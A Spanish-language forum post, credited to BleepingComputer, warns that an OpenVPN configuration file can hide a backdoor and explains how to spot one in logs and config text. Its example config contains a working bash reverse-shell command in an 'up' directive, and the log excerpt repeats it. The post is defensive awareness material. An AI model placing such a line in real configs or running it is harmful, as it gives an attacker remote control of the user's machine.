¿Usas OpenVPN? Cuidado al configurarlo, podrías habilitar una shell reversa

Iniciado por K A I L, Junio 22, 2018, 09:42:16 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.



OpenVPN es un popular programa de VPN de código abierto. Su objetivo es crear una conexión de red segura y cifrada. Es muy útil por ejemplo cuando estamos conectados a una red Wi-Fi abierta en un centro comercial y queremos que nuestros datos viajen de forma segura y evitar así posibles filtraciones o intrusos en nuestro equipo. Esta herramienta está disponible para muchos tipos de dispositivos, incluso en routers.

Por todos es sabido que hay que tener mucho cuidado a la hora de instalar un programa, sea cual sea. Hay que tener siempre presente la fuente. Hay que evitar descargar de sitios de terceros y hacerlo de páginas oficiales. Es la mejor manera de asegurarnos, o al menos tener más garantías, de que se trata de algo legítimo. Hoy hablamos de OpenVPN, un programa muy popular de VPN. Explicamos cómo, simplemente a través de un archivo de configuración, podría habilitar una shell reversa en el equipo donde está instalado. Un problema para el usuario que confíe en ello.

Las configuraciones de OpenVPN pueden ejecutar comandos

Es posible utilizar un archivo de configuración de OpenVPN, en principio inofensivo, para dejar una puerta trasera abierta. Esto permitiría ejecutar comandos una vez se ha realizado una conexión VPN.

Para hacer todo esto, un autor malicioso tendría que añadir unas líneas a un archivo de configuración inofensivo OpenVPN (.opvpn/.ovpn) para hacerlo malévolo. Un archivo de configuración OpenVPN es simplemente un archivo de texto con algunas órdenes en ello:

Código: php
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun


Si el autor quisiera hacer que el archivo de configuración OpenVPN ejecutara un comando añadirían en la linea "script-security 2", que permite al usuario escrituras definidas para ser ejecutadas, y una entrada "up", que contiene el comando que es ejecutado después de que de una conexión ha sido hecha. Como un ejemplo, podemos cambiar nuestro archivo de configuración de modo que esto ejecute un comando como se muestra debajo:

Código: php
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&'"


Cuando este archivo de configuración es usado y después de que una conexión ha sido establecida, OpenVPN ejecutará el comando de abrir una shell inversa al ordenador en 192.168.1.218. Esto permitiría al atacante en aquella dirección IP para ejecutar órdenes sobre el ordenador remoto que controló el archivo de configuración OpenVPN.

En archivos de configuraciones de Windows, se podría habilitar un script de PowerShell.

¿Cómo descubrir archivos de configuración OpenVPN maliciosos?

Ahora que sabe que la configuración OpenVPN podría ser usada contra usted, usted puede preguntarse como comprobar si la configuración que usted usa es maliciosa.

Se pueden encontrar ciertas pistas en los logs de la conexión VPN como se muestra abajo:

Código: php
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init


Si vemos estas líneas en su logs, esto significa que los ajustes fueron puestos en "script-security 2". Como esa linea es requerida para ejecutar scripts, esto seguirá siendo usado por el archivo de configuración.

Siendo las configuraciones OpenVPN simples archivos de texto, podemos verificarlos con algún editor de texto y asegurarnos que comandos están siendo ejecutados.

Lamentablemente el comando "up" no es el único que puede ser usado para objetivos maliciosos. "Up, down, client-connect, learn-address, auth-user-pass-verify, and learn-address" todos ejecutan comandos específicos de configuración.

FUENTE: BleepingComputer